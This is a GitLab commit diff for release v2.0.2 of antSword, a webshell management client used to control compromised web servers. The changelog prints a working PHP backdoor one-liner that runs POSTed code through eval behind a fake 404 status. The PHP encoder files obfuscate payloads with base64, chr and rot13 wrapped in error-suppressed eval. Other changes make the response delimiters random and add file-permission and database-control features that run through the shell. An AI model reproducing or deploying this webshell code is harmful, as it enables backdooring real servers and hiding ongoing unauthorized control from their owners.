Skip to content
Projects
Groups
Snippets
Help
Loading...
Help
Submit feedback
Contribute to GitLab
Sign in / Register
Toggle navigation
A
antSword
Project
Project
Details
Activity
Releases
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
HuangJunbo
antSword
Commits
a94c3c48
Unverified
Commit
a94c3c48
authored
Dec 05, 2018
by
Medicean
Committed by
GitHub
Dec 05, 2018
Browse files
Options
Browse Files
Download
Plain Diff
Release v2.0.2
Merge pull request #104 from AntSwordProject/v2.0.x
parents
4a6d93ee
71894bf5
Changes
27
Hide whitespace changes
Inline
Side-by-side
Showing
27 changed files
with
1353 additions
and
76 deletions
+1353
-76
CHANGELOG.md
CHANGELOG.md
+44
-0
README.md
README.md
+1
-1
README_CN.md
README_CN.md
+1
-1
request.js
modules/request.js
+5
-1
package.json
package.json
+1
-1
jsp_custom_script_for_mysql.jsp
shells/jsp_custom_script_for_mysql.jsp
+2
-3
jspx_custom_script_for_mysql.jspx
shells/jspx_custom_script_for_mysql.jspx
+2
-3
index.js
source/core/asp/index.js
+2
-2
index.js
source/core/aspx/index.js
+2
-2
filemanager.js
source/core/custom/template/filemanager.js
+1
-1
base64.js
source/core/php/encoder/base64.js
+1
-1
chr.js
source/core/php/encoder/chr.js
+1
-1
chr16.js
source/core/php/encoder/chr16.js
+1
-1
rot13.js
source/core/php/encoder/rot13.js
+1
-1
index.js
source/core/php/index.js
+3
-2
filemanager.js
source/core/php/template/filemanager.js
+7
-0
en.js
source/language/en.js
+98
-2
zh.js
source/language/zh.js
+98
-2
index.js
source/modules/database/asp/index.js
+23
-2
index.js
source/modules/database/custom/index.js
+23
-2
index.js
source/modules/database/index.js
+14
-7
index.js
source/modules/database/php/index.js
+910
-25
files.js
source/modules/filemanager/files.js
+3
-0
index.js
source/modules/filemanager/index.js
+67
-6
about.js
source/modules/settings/about.js
+2
-1
form.js
source/modules/shellmanager/list/form.js
+24
-2
index.js
source/modules/viewsite/index.js
+16
-6
No files found.
CHANGELOG.md
View file @
a94c3c48
...
@@ -2,6 +2,50 @@
...
@@ -2,6 +2,50 @@
> 有空会补补BUG、添添新功能。
> 有空会补补BUG、添添新功能。
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
> 同时也欢迎大家的参与!感谢各位朋友的支持! .TAT.
## 2018/12/05 `(v2.0.2)`
### 模块增强
#### Shell 管理
*
可在 Shell 编辑数据窗口下的
`其它设置`
栏目下自定义上传文件分片大小 (默认为 500KB, 太大会导致 HTTP 413 错误)
#### 文件管理
*
PHP Shell 下可直接修改文件权限, 显示为4位 8进制数, 如
`0644`
#### 数据管理
*
优化了查询结果显示,默认所有列宽为 100
*
可将查询结果导出为 CSV 文件
*
PHP Shell MySQL 数据库可视化增强,支持
`新建数据库`
,
`删除数据库`
,
`新建表`
,
`修改表名`
,
`删除表`
,
`编辑列名`
,
`删除列`
#### 虚拟终端
*
虚拟终端界面下使用
`Ctrl`
+
`=`
(和
`+`
在一起的那个键) 可放大,
`Ctrl`
+
`-`
可缩小
#### 浏览网站
*
新增了地址栏, 面对需要先进入登录页面的 Shell, 可先在此处访问 login 页面,然后保存 Cookie 到 Shell 配置。 默认为 Shell 的 URL
*
调整了工具栏按钮的排列
*
关闭了默认自动打开 URL,需要手动点击「浏览」按钮
### Bug Fix
*
修正 windows 客户端下用户编码器路径解析错误的问题
### Other
*
数据分割符随机化,再也不是之前固定的
`->|`
和
`|<-`
了
*
支持返回状态为 404, 500, 403 等非 200 的 Shell (#103 thx @Curz0n),一个简单的例子如下:
```
<?php http_response_code(404);@eval($_POST['ant']);?>
```
*
JSP Shell 基础信息调整, 现在默认的目录为 shell 编译后的 class 文件所在目录
*
关于页面新增
[
Discord 在线交流地址
](
https://discord.gg/Uzh5nUf
)
## 2018/09/12 `(v2.0.1)`
## 2018/09/12 `(v2.0.1)`
### 插件
### 插件
...
...
README.md
View file @
a94c3c48
# AntSword [][url-release]
# AntSword [][url-release]
> AntSword in your hands, no worries in your mind!
> AntSword in your hands, no worries in your mind!
...
...
README_CN.md
View file @
a94c3c48
# 中国蚁剑 [][url-release]
# 中国蚁剑 [][url-release]
> 一剑在手,纵横无忧!
> 一剑在手,纵横无忧!
...
...
modules/request.js
View file @
a94c3c48
...
@@ -122,7 +122,11 @@ class Request {
...
@@ -122,7 +122,11 @@ class Request {
},
res
,
callback
);
},
res
,
callback
);
})
})
.
end
((
err
,
ret
)
=>
{
.
end
((
err
,
ret
)
=>
{
let
buff
=
ret
.
body
;
if
(
!
ret
)
{
// 请求失败 TIMEOUT
return
event
.
sender
.
send
(
'request-error-'
+
opts
[
'hash'
],
err
);
}
let
buff
=
ret
.
hasOwnProperty
(
'body'
)
?
ret
.
body
:
new
Buffer
();
// 解码
// 解码
let
text
=
iconv
.
decode
(
buff
,
opts
[
'encode'
]);
let
text
=
iconv
.
decode
(
buff
,
opts
[
'encode'
]);
if
(
err
&&
text
==
""
)
{
if
(
err
&&
text
==
""
)
{
...
...
package.json
View file @
a94c3c48
{
{
"name"
:
"antsword"
,
"name"
:
"antsword"
,
"version"
:
"2.0.
1
"
,
"version"
:
"2.0.
2
"
,
"description"
:
"中国蚁剑是一款跨平台的开源网站管理工具"
,
"description"
:
"中国蚁剑是一款跨平台的开源网站管理工具"
,
"main"
:
"app.js"
,
"main"
:
"app.js"
,
"dependencies"
:
{
"dependencies"
:
{
...
...
shells/jsp_custom_script_for_mysql.jsp
View file @
a94c3c48
...
@@ -111,8 +111,7 @@ ChangeLog:
...
@@ -111,8 +111,7 @@ ChangeLog:
return
ret
;
return
ret
;
}
}
String
WwwRootPathCode
(
HttpServletRequest
r
)
throws
Exception
{
String
WwwRootPathCode
(
String
d
)
throws
Exception
{
String
d
=
this
.
getClass
().
getResource
(
"/"
).
getPath
();
String
s
=
""
;
String
s
=
""
;
if
(!
d
.
substring
(
0
,
1
).
equals
(
"/"
))
{
if
(!
d
.
substring
(
0
,
1
).
equals
(
"/"
))
{
File
[]
roots
=
File
.
listRoots
();
File
[]
roots
=
File
.
listRoots
();
...
@@ -286,7 +285,7 @@ ChangeLog:
...
@@ -286,7 +285,7 @@ ChangeLog:
String serverInfo = (String)System.getProperty("
os
.
name
");
String serverInfo = (String)System.getProperty("
os
.
name
");
String separator = File.separator;
String separator = File.separator;
String user = (String)System.getProperty("
user
.
name
");
String user = (String)System.getProperty("
user
.
name
");
String driverlist = WwwRootPathCode(
r
);
String driverlist = WwwRootPathCode(
d
);
return d + "
\
t
" + driverlist + "
\
t
" + serverInfo + "
\
t
" + user;
return d + "
\
t
" + driverlist + "
\
t
" + serverInfo + "
\
t
" + user;
}
}
...
...
shells/jspx_custom_script_for_mysql.jspx
View file @
a94c3c48
...
@@ -103,8 +103,7 @@ Ver:1.3
...
@@ -103,8 +103,7 @@ Ver:1.3
return ret;
return ret;
}
}
String WwwRootPathCode(HttpServletRequest r) throws Exception {
String WwwRootPathCode(String d) throws Exception {
String d = this.getClass().getResource("/").getPath();
String s = "";
String s = "";
if (!d.substring(0, 1).equals("/")) {
if (!d.substring(0, 1).equals("/")) {
File[] roots = File.listRoots();
File[] roots = File.listRoots();
...
@@ -278,7 +277,7 @@ Ver:1.3
...
@@ -278,7 +277,7 @@ Ver:1.3
String serverInfo = (String)System.getProperty("os.name");
String serverInfo = (String)System.getProperty("os.name");
String separator = File.separator;
String separator = File.separator;
String user = (String)System.getProperty("user.name");
String user = (String)System.getProperty("user.name");
String driverlist = WwwRootPathCode(
r
);
String driverlist = WwwRootPathCode(
d
);
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
return d + "\t" + driverlist + "\t" + serverInfo + "\t" + user;
}
}
...
...
source/core/asp/index.js
View file @
a94c3c48
...
@@ -44,8 +44,8 @@ class ASP extends Base {
...
@@ -44,8 +44,8 @@ class ASP extends Base {
*/
*/
complete
(
data
)
{
complete
(
data
)
{
// 分隔符号
// 分隔符号
let
tag_s
=
'->|'
;
let
tag_s
=
Math
.
random
().
toString
(
16
).
substr
(
2
,
5
);
//
'->|';
let
tag_e
=
'|<-'
;
let
tag_e
=
Math
.
random
().
toString
(
16
).
substr
(
2
,
5
);
//
'|<-';
// let formatter = new this.format(this.__opts__['encode']);
// let formatter = new this.format(this.__opts__['encode']);
let
formatter
=
Base
.
prototype
.
format
(
this
.
__opts__
[
'encode'
]);
let
formatter
=
Base
.
prototype
.
format
(
this
.
__opts__
[
'encode'
]);
...
...
source/core/aspx/index.js
View file @
a94c3c48
...
@@ -47,8 +47,8 @@ class ASPX extends Base {
...
@@ -47,8 +47,8 @@ class ASPX extends Base {
*/
*/
complete
(
data
)
{
complete
(
data
)
{
// 分隔符号
// 分隔符号
let
tag_s
=
'->|'
;
let
tag_s
=
Math
.
random
().
toString
(
16
).
substr
(
2
,
5
);
//
'->|';
let
tag_e
=
'|<-'
;
let
tag_e
=
Math
.
random
().
toString
(
16
).
substr
(
2
,
5
);
//
'|<-';
// let formatter = new this.format(this.__opts__['encode']);
// let formatter = new this.format(this.__opts__['encode']);
let
formatter
=
Base
.
prototype
.
format
(
this
.
__opts__
[
'encode'
]);
let
formatter
=
Base
.
prototype
.
format
(
this
.
__opts__
[
'encode'
]);
...
...
source/core/custom/template/filemanager.js
View file @
a94c3c48
...
@@ -38,7 +38,7 @@ module.exports = () => ({
...
@@ -38,7 +38,7 @@ module.exports = () => ({
upload_file
:
{
upload_file
:
{
_
:
'U'
,
_
:
'U'
,
'z1'
:
'#{path}'
,
'z1'
:
'#{path}'
,
'z2'
:
'#{
hex
::content}'
'z2'
:
'#{
buffer
::content}'
},
},
rename
:
{
rename
:
{
...
...
source/core/php/encoder/base64.js
View file @
a94c3c48
...
@@ -9,7 +9,7 @@ module.exports = (pwd, data) => {
...
@@ -9,7 +9,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名
// 生成一个随机变量名
let
randomID
=
`_0x
${
Math
.
random
().
toString
(
16
).
substr
(
2
)}
`
;
let
randomID
=
`_0x
${
Math
.
random
().
toString
(
16
).
substr
(
2
)}
`
;
data
[
randomID
]
=
new
Buffer
(
data
[
'_'
]).
toString
(
'base64'
);
data
[
randomID
]
=
new
Buffer
(
data
[
'_'
]).
toString
(
'base64'
);
data
[
pwd
]
=
`
eval(
base64_decode($_POST[
${
randomID
}
]));`
;
data
[
pwd
]
=
`
@eval(@
base64_decode($_POST[
${
randomID
}
]));`
;
delete
data
[
'_'
];
delete
data
[
'_'
];
return
data
;
return
data
;
}
}
source/core/php/encoder/chr.js
View file @
a94c3c48
...
@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
...
@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret
.
push
(
php
[
i
].
charCodeAt
());
ret
.
push
(
php
[
i
].
charCodeAt
());
i
++
;
i
++
;
}
}
return
`eVAl(cHr(
${
ret
.
join
(
').ChR('
)}
));`
;
return
`
@
eVAl(cHr(
${
ret
.
join
(
').ChR('
)}
));`
;
}
}
// 编码并去除多余数据
// 编码并去除多余数据
...
...
source/core/php/encoder/chr16.js
View file @
a94c3c48
...
@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
...
@@ -14,7 +14,7 @@ module.exports = (pwd, data) => {
ret
.
push
(
php
[
i
].
charCodeAt
().
toString
(
16
));
ret
.
push
(
php
[
i
].
charCodeAt
().
toString
(
16
));
i
++
;
i
++
;
}
}
return
`eVAl(cHr(0x
${
ret
.
join
(
').ChR(0x'
)}
));`
;
return
`
@
eVAl(cHr(0x
${
ret
.
join
(
').ChR(0x'
)}
));`
;
}
}
// 编码并去除多余数据
// 编码并去除多余数据
...
...
source/core/php/encoder/rot13.js
View file @
a94c3c48
...
@@ -19,7 +19,7 @@ module.exports = (pwd, data) => {
...
@@ -19,7 +19,7 @@ module.exports = (pwd, data) => {
// 生成一个随机变量名
// 生成一个随机变量名
let
randomID
=
`_0x
${
Math
.
random
().
toString
(
16
).
substr
(
2
)}
`
;
let
randomID
=
`_0x
${
Math
.
random
().
toString
(
16
).
substr
(
2
)}
`
;
data
[
randomID
]
=
encode
(
data
[
'_'
]);
data
[
randomID
]
=
encode
(
data
[
'_'
]);
data
[
pwd
]
=
`
eval(
str_rot13($_POST[
${
randomID
}
]));`
;
data
[
pwd
]
=
`
@eval(@
str_rot13($_POST[
${
randomID
}
]));`
;
delete
data
[
'_'
];
delete
data
[
'_'
];
return
data
;
return
data
;
}
}
source/core/php/index.js
View file @
a94c3c48
...
@@ -45,8 +45,9 @@ class PHP extends Base {
...
@@ -45,8 +45,9 @@ class PHP extends Base {
*/
*/
complete
(
data
)
{
complete
(
data
)
{
// 分隔符号
// 分隔符号
let
tag_s
=
"->|"
;
let
tag_e
=
"|<-"
;
let
tag_s
=
Math
.
random
().
toString
(
16
).
substr
(
2
,
5
);
// "->|";
let
tag_e
=
Math
.
random
().
toString
(
16
).
substr
(
2
,
5
);
// "|<-";
// 组合完整的代码
// 组合完整的代码
let
tmpCode
=
data
[
'_'
];
let
tmpCode
=
data
[
'_'
];
...
...
source/core/php/template/filemanager.js
View file @
a94c3c48
...
@@ -62,6 +62,13 @@ module.exports = (arg1, arg2, arg3) => ({
...
@@ -62,6 +62,13 @@ module.exports = (arg1, arg2, arg3) => ({
[
arg2
]:
"#{base64::time}"
[
arg2
]:
"#{base64::time}"
},
},
chmod
:
{
_
:
`$m=get_magic_quotes_gpc();$FN=base64_decode(m?stripslashes($_POST["
${
arg1
}
"]):$_POST["
${
arg1
}
"]);$mode=base64_decode(m?stripslashes($_POST["
${
arg2
}
"]):$_POST["
${
arg2
}
"]);echo(chmod($FN,octdec($mode))?"1":"0");`
,
[
arg1
]:
"#{base64::path}"
,
[
arg2
]:
"#{base64::mode}"
},
mkdir
:
{
mkdir
:
{
_
:
_
:
`$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST["
${
arg1
}
"]):$_POST["
${
arg1
}
"]);echo(mkdir($f)?"1":"0");`
,
`$m=get_magic_quotes_gpc();$f=base64_decode($m?stripslashes($_POST["
${
arg1
}
"]):$_POST["
${
arg1
}
"]);echo(mkdir($f)?"1":"0");`
,
...
...
source/language/en.js
View file @
a94c3c48
...
@@ -170,6 +170,7 @@ module.exports = {
...
@@ -170,6 +170,7 @@ module.exports = {
nohttps
:
'Ignore HTTPS certificate'
,
nohttps
:
'Ignore HTTPS certificate'
,
terminalCache
:
"Use the terminal's cache"
,
terminalCache
:
"Use the terminal's cache"
,
filemanagerCache
:
"Use the filemanager's cache"
,
filemanagerCache
:
"Use the filemanager's cache"
,
uploadFragment
:
"Upload File Fragmentation Size"
,
requestTimeout
:
'Request timeout'
,
requestTimeout
:
'Request timeout'
,
commandPath
:
'Custom terminal-execPath'
commandPath
:
'Custom terminal-execPath'
}
}
...
@@ -219,6 +220,12 @@ module.exports = {
...
@@ -219,6 +220,12 @@ module.exports = {
success
:
(
path
)
=>
antSword
.
noxss
(
`Retime file success!\n
${
path
}
`
),
success
:
(
path
)
=>
antSword
.
noxss
(
`Retime file success!\n
${
path
}
`
),
error
:
(
path
,
err
)
=>
antSword
.
noxss
(
`Retime file [
${
path
}
] failed!
${
err
?
'
\
n'
+
err
:
''
}
`
)
error
:
(
path
,
err
)
=>
antSword
.
noxss
(
`Retime file [
${
path
}
] failed!
${
err
?
'
\
n'
+
err
:
''
}
`
)
},
},
chmod
:
{
title
:
'Chmod File'
,
check
:
'Input should be octal numbers, eg: 0644'
,
success
:
(
path
)
=>
antSword
.
noxss
(
`Chmod file success!\n
${
path
}
`
),
error
:
(
path
,
err
)
=>
antSword
.
noxss
(
`Chmod file [
${
path
}
] failed!
${
err
?
'
\
n'
+
err
:
''
}
`
)
},
wget
:
{
wget
:
{
title
:
'Wget File'
,
title
:
'Wget File'
,
check
:
'URL is not correct!'
,
check
:
'URL is not correct!'
,
...
@@ -234,6 +241,9 @@ module.exports = {
...
@@ -234,6 +241,9 @@ module.exports = {
task
:
{
task
:
{
name
:
'Upload'
,
name
:
'Upload'
,
success
:
'Upload success!'
,
success
:
'Upload success!'
,
httperr_413
:
'Please lower the upload file shard size setting.'
,
httperr_etime
:
'Request timeout, please increase the timeout period.'
,
httperr_econnrefused
:
'Connection refused, check target or proxy is enabled.'
,
failed
:
(
err
)
=>
antSword
.
noxss
(
`Failed:
${
err
}
`
),
failed
:
(
err
)
=>
antSword
.
noxss
(
`Failed:
${
err
}
`
),
error
:
(
err
)
=>
antSword
.
noxss
(
`Error:
${
err
}
`
)
error
:
(
err
)
=>
antSword
.
noxss
(
`Error:
${
err
}
`
)
},
},
...
@@ -303,6 +313,7 @@ module.exports = {
...
@@ -303,6 +313,7 @@ module.exports = {
upload
:
'Upload'
,
upload
:
'Upload'
,
download
:
'Download'
,
download
:
'Download'
,
modify
:
'Modify the file time'
,
modify
:
'Modify the file time'
,
chmod
:
'Chmod'
,
copy
:
{
copy
:
{
title
:
'Copy'
,
title
:
'Copy'
,
warning
:
(
id
)
=>
antSword
.
noxss
(
`Already add to clipboard!\n
${
id
}
`
),
warning
:
(
id
)
=>
antSword
.
noxss
(
`Already add to clipboard!\n
${
id
}
`
),
...
@@ -362,7 +373,18 @@ module.exports = {
...
@@ -362,7 +373,18 @@ module.exports = {
menu
:
{
menu
:
{
add
:
'Add conf'
,
add
:
'Add conf'
,
del
:
'Del conf'
,
del
:
'Del conf'
,
edit
:
'Edit conf'
edit
:
'Edit conf'
,
adddb
:
'New Database'
,
editdb
:
'Edit Database'
,
deldb
:
'Del Database'
,
addtable
:
'New Table'
,
edittable
:
'Edit TableName'
,
desctable
:
'Desc Table'
,
showcreatetable
:
'Create Table SQL'
,
deltable
:
'Del Table'
,
addcolumn
:
'New Column'
,
editcolumn
:
'Edit ColumnName'
,
delcolumn
:
'Del Column'
,
}
}
},
},
query
:
{
query
:
{
...
@@ -380,8 +402,13 @@ module.exports = {
...
@@ -380,8 +402,13 @@ module.exports = {
query
:
(
err
)
=>
antSword
.
noxss
(
`Failure to execute SQL!\n
${
err
}
`
),
query
:
(
err
)
=>
antSword
.
noxss
(
`Failure to execute SQL!\n
${
err
}
`
),
parse
:
'Return data format is incorrect!'
,
parse
:
'Return data format is incorrect!'
,
noresult
:
'No query results!'
noresult
:
'No query results!'
},
dump
:
{
title
:
"Export Data"
,
success
:
"Export success"
,
}
}
},
},
notsupport
:
'Not support the current database type'
,
form
:
{
form
:
{
title
:
'Add conf'
,
title
:
'Add conf'
,
toolbar
:
{
toolbar
:
{
...
@@ -402,6 +429,74 @@ module.exports = {
...
@@ -402,6 +429,74 @@ module.exports = {
confirm
:
'Determine delete this configuration?'
,
confirm
:
'Determine delete this configuration?'
,
success
:
'Delete configuration success!'
,
success
:
'Delete configuration success!'
,
error
:
(
err
)
=>
antSword
.
noxss
(
`Delete configuration failed!\n
${
err
}
`
)
error
:
(
err
)
=>
antSword
.
noxss
(
`Delete configuration failed!\n
${
err
}
`
)
},
adddb
:
{
title
:
'New Database'
,
dbname
:
'Name'
,
characterset
:
'Character Set'
,
charactercollation
:
'Collation'
,
createbtn
:
'OK'
,
cancelbtn
:
'Cancel'
,
success
:
'Create database successfully'
,
error
:
'Failed to create database'
,
},
editdb
:
{
title
:
'Database Properties'
,
dbname
:
'Name(readonly)'
,
characterset
:
'Character Set'
,
charactercollation
:
'Collation'
,
updatebtn
:
'OK'
,
cancelbtn
:
'Cancel'
,
success
:
'Edit database successfully'
,
error
:
'Failed to edit database'
,
},
deldb
:
{
title
:
'Delete Database'
,
confirm
:
(
name
)
=>
antSword
.
noxss
(
`Are you sure you want to delete database
${
name
}
?`
),
success
:
'Delete database successfully'
,
error
:
'Failed to delete database'
,
},
addtable
:
{
title
:
'New Table'
,
add
:
'New Column'
,
delete
:
'Delete Column'
,
save
:
'Save'
,
gridheader
:
"Name,Type,Length,Not Null,Key,Auto Increment"
,
delete_not_select
:
"Please select the row you want to delete first"
,
save_row_is_null
:
"The number of rows is empty"
,
cell_valid_error
:
(
i
,
j
)
=>
`Data format validation failed(row
${
i
+
1
}
, col
${
j
+
1
}
)`
,
confirmtitle
:
"New table name"
,
invalid_tablename
:
"Table names should not contain special symbols"
,
success
:
'Create table successfully'
,
error
:
'Failed to create table'
,
},
edittable
:
{
title
:
"New table name"
,
invalid_tablename
:
"Table names should not contain special symbols"
,
success
:
'Update table name successfully'
,
error
:
'Failed to update table'
,
},
deltable
:
{
title
:
'Delete Table'
,
confirm
:
(
name
)
=>
antSword
.
noxss
(
`Are you sure you want to delete table
${
name
}
?`
),
success
:
'Delete table successfully'
,
error
:
'Failed to delete table'
,
},
addcolumn
:
{
},
editcolumn
:
{
title
:
"New column name"
,
invalid_tablename
:
"Column names should not contain special symbols"
,
get_column_type_error
:
"Get column type error"
,
success
:
'Update column name successfully'
,
error
:
'Failed to update column'
,
},
delcolumn
:
{
title
:
'Delete Column'
,
confirm
:
(
name
)
=>
antSword
.
noxss
(
`Are you sure you want to delete column
${
name
}
?`
),
success
:
'Delete column successfully'
,
error
:
'Failed to delete column'
,
}
}
}
}
},
},
...
@@ -411,7 +506,8 @@ module.exports = {
...
@@ -411,7 +506,8 @@ module.exports = {
header
:
'AntSword'
,
header
:
'AntSword'
,
homepage
:
'Home'
,
homepage
:
'Home'
,
document
:
'Document'
,
document
:
'Document'
,
qqgroup
:
'QQ Group'
qqgroup
:
'QQ Group'
,
discord
:
'Discord'
},
},
language
:
{
language
:
{
title
:
'Language setting'
,
title
:
'Language setting'
,
...
...
source/language/zh.js
View file @
a94c3c48
...
@@ -171,6 +171,7 @@ module.exports = {
...
@@ -171,6 +171,7 @@ module.exports = {
nohttps
:
'忽略HTTPS证书'
,
nohttps
:
'忽略HTTPS证书'
,
terminalCache
:
'虚拟终端使用缓存'
,
terminalCache
:
'虚拟终端使用缓存'
,
filemanagerCache
:
'文件管理使用缓存'
,
filemanagerCache
:
'文件管理使用缓存'
,
uploadFragment
:
'上传文件分片大小'
,
requestTimeout
:
'请求超时'
,
requestTimeout
:
'请求超时'
,
commandPath
:
'自定义终端执行路径'
commandPath
:
'自定义终端执行路径'
}
}
...
@@ -220,6 +221,12 @@ module.exports = {
...
@@ -220,6 +221,12 @@ module.exports = {
success
:
(
path
)
=>
antSword
.
noxss
(
`更改文件时间成功!\n
${
path
}
`
),
success
:
(
path
)
=>
antSword
.
noxss
(
`更改文件时间成功!\n
${
path
}
`
),
error
:
(
path
,
err
)
=>
antSword
.
noxss
(
`更改文件时间 [
${
path
}
] 失败!
${
err
?
'
\
n'
+
err
:
''
}
`
)
error
:
(
path
,
err
)
=>
antSword
.
noxss
(
`更改文件时间 [
${
path
}
] 失败!
${
err
?
'
\
n'
+
err
:
''
}
`
)
},
},
chmod
:
{
title
:
'更改权限'
,
check
:
"输入应为八进制数表示的权限, eg: 0644"
,
success
:
(
path
)
=>
antSword
.
noxss
(
`更改文件权限成功!\n
${
path
}
`
),
error
:
(
path
,
err
)
=>
antSword
.
noxss
(
`更改文件权限 [
${
path
}
] 失败!
${
err
?
'
\
n'
+
err
:
''
}
`
)
},
wget
:
{
wget
:
{
title
:
'Wget下载文件'
,
title
:
'Wget下载文件'
,
check
:
'URL地址不正确!'
,
check
:
'URL地址不正确!'
,
...
@@ -235,6 +242,9 @@ module.exports = {
...
@@ -235,6 +242,9 @@ module.exports = {
task
:
{
task
:
{
name
:
'上传'
,
name
:
'上传'
,
success
:
'上传成功'
,
success
:
'上传成功'
,
httperr_413
:
'请将上传文件分片大小设置调低'
,
httperr_etime
:
'请求超时,请将超时时间调大'
,
httperr_econnrefused
:
'连接被拒绝,检查目标或代理是否开启'
,
failed
:
(
err
)
=>
antSword
.
noxss
(
`失败:
${
err
}
`
),
failed
:
(
err
)
=>
antSword
.
noxss
(
`失败:
${
err
}
`
),
error
:
(
err
)
=>
antSword
.
noxss
(
`出错:
${
err
}
`
)
error
:
(
err
)
=>
antSword
.
noxss
(
`出错:
${
err
}
`
)
},
},
...
@@ -304,6 +314,7 @@ module.exports = {
...
@@ -304,6 +314,7 @@ module.exports = {
upload
:
'上传文件'
,
upload
:
'上传文件'
,
download
:
'下载文件'
,
download
:
'下载文件'
,
modify
:
'更改文件时间'
,
modify
:
'更改文件时间'
,
chmod
:
'更改权限'
,
copy
:
{
copy
:
{
title
:
'复制文件'
,
title
:
'复制文件'
,
warning
:
(
id
)
=>
antSword
.
noxss
(
`已经添加到剪贴板!\n
${
id
}
`
),
warning
:
(
id
)
=>
antSword
.
noxss
(
`已经添加到剪贴板!\n
${
id
}
`
),
...
@@ -363,7 +374,18 @@ module.exports = {
...
@@ -363,7 +374,18 @@ module.exports = {
menu
:
{
menu
:
{
add
:
'添加配置'
,
add
:
'添加配置'
,
del
:
'删除配置'
,
del
:
'删除配置'
,
edit
:
'编辑配置'
edit
:
'编辑配置'
,
adddb
:
'新建数据库'
,
editdb
:
'编辑数据库'
,
deldb
:
'删除数据库'
,
addtable
:
'新建表'
,
edittable
:
'编辑表名'
,
deltable
:
'删除表'
,
showcreatetable
:
'建表语句'
,
desctable
:
'查看表结构'
,
addcolumn
:
'添加列'
,
editcolumn
:
'编辑列名'
,
delcolumn
:
'删除列'
,
}
}
},
},
query
:
{
query
:
{
...
@@ -381,8 +403,13 @@ module.exports = {
...
@@ -381,8 +403,13 @@ module.exports = {
query
:
(
err
)
=>
antSword
.
noxss
(
`执行SQL失败!\n
${
err
}
`
),
query
:
(
err
)
=>
antSword
.
noxss
(
`执行SQL失败!\n
${
err
}
`
),
parse
:
'返回数据格式不正确!'
,
parse
:
'返回数据格式不正确!'
,
noresult
:
'没有查询结果!'
noresult
:
'没有查询结果!'
},
dump
:
{
title
:
"导出查询结果"
,
success
:
"导出成功"
,
}
}
},
},
notsupport
:
'该功能暂不支持当前类型数据库'
,
form
:
{
form
:
{
title
:
'添加配置'
,
title
:
'添加配置'
,
toolbar
:
{
toolbar
:
{
...
@@ -403,6 +430,74 @@ module.exports = {
...
@@ -403,6 +430,74 @@ module.exports = {
confirm
:
'确定删除此配置吗?'
,
confirm
:
'确定删除此配置吗?'
,
success
:
'删除配置成功!'
,
success
:
'删除配置成功!'
,
error
:
(
err
)
=>
antSword
.
noxss
(
`删除配置失败!\n
${
err
}
`
)
error
:
(
err
)
=>
antSword
.
noxss
(
`删除配置失败!\n
${
err
}
`
)
},
adddb
:
{
title
:
'新建数据库'
,
dbname
:
'名称'
,
characterset
:
'字符集'
,
charactercollation
:
'字符集排序'
,
createbtn
:
'创建'
,
cancelbtn
:
'取消'
,
success
:
'创建数据库成功'
,
error
:
'创建数据库失败'
,
},
editdb
:
{
title
:
'修改数据库'
,
dbname
:
'名称(只读)'
,
characterset
:
'字符集'
,
charactercollation
:
'字符集排序'
,
updatebtn
:
'修改'
,
cancelbtn
:
'取消'
,
success
:
'修改数据库成功'
,
error
:
'修改数据库失败'
,
},
deldb
:
{
title
:
'删除数据库'
,
confirm
:
(
name
)
=>
antSword
.
noxss
(
`确定要删除数据库
${
name
}
吗?`
),
success
:
'删除数据库成功'
,
error
:
'删除数据库失败'
,
},
addtable
:
{
title
:
'新建表'
,
add
:
'新增字段'
,
delete
:
'删除字段'
,
save
:
'保存'
,
gridheader
:
"名称,类型,长度,不为空,主键,自增长"
,
delete_not_select
:
"请先选中要删除的行"
,
save_row_is_null
:
"行数为空"
,
cell_valid_error
:
(
i
,
j
)
=>
`数据格式校验失败(
${
i
+
1
}
行,
${
j
+
1
}
列)`
,
confirmtitle
:
"输入新表名"
,
invalid_tablename
:
"表名不能带有特殊符号"
,
success
:
'新建表成功'
,
error
:
'新建表失败'
,
},
edittable
:
{
title
:
"输入新表名"
,
invalid_tablename
:
"表名不能带有特殊符号"
,
success
:
'修改表名成功'
,
error
:
'修改表名失败'
,
},
deltable
:
{
title
:
'删除表'
,
confirm
:
(
name
)
=>
antSword
.
noxss
(
`确定要删除表
${
name
}
吗?`
),
success
:
'删除表成功'
,
error
:
'删除表失败'
,
},
addcolumn
:
{
},
editcolumn
:
{
title
:
"输入新列名"
,
invalid_tablename
:
"列名不能带有特殊符号"
,
get_column_type_error
:
"获取列属性失败"
,
success
:
'修改列名成功'
,
error
:
'修改列名失败'
},
delcolumn
:
{
title
:
'删除列'
,
confirm
:
(
name
)
=>
antSword
.
noxss
(
`确定要删除列
${
name
}
吗?`
),
success
:
'删除列成功'
,
error
:
'删除列失败'
,
}
}
}
}
},
},
...
@@ -412,7 +507,8 @@ module.exports = {
...
@@ -412,7 +507,8 @@ module.exports = {
header
:
'中国蚁剑'
,
header
:
'中国蚁剑'
,
homepage
:
'主页'
,
homepage
:
'主页'
,
document
:
'文档'
,
document
:
'文档'
,
qqgroup
:
'Q群'
qqgroup
:
'Q群'
,
discord
:
'在线交流'
},
},
language
:
{
language
:
{
title
:
'语言设置'
,
title
:
'语言设置'
,
...
...
source/modules/database/asp/index.js
View file @
a94c3c48
...
@@ -525,8 +525,10 @@ class ASP {
...
@@ -525,8 +525,10 @@ class ASP {
const
grid
=
this
.
manager
.
result
.
layout
.
attachGrid
();
const
grid
=
this
.
manager
.
result
.
layout
.
attachGrid
();
grid
.
clearAll
();
grid
.
clearAll
();
grid
.
setHeader
(
header_arr
.
join
(
','
).
replace
(
/,$/
,
''
));
grid
.
setHeader
(
header_arr
.
join
(
','
).
replace
(
/,$/
,
''
));
grid
.
setColTypes
(
"txt,"
.
repeat
(
header_arr
.
length
).
replace
(
/,$/
,
''
));
grid
.
setColSorting
((
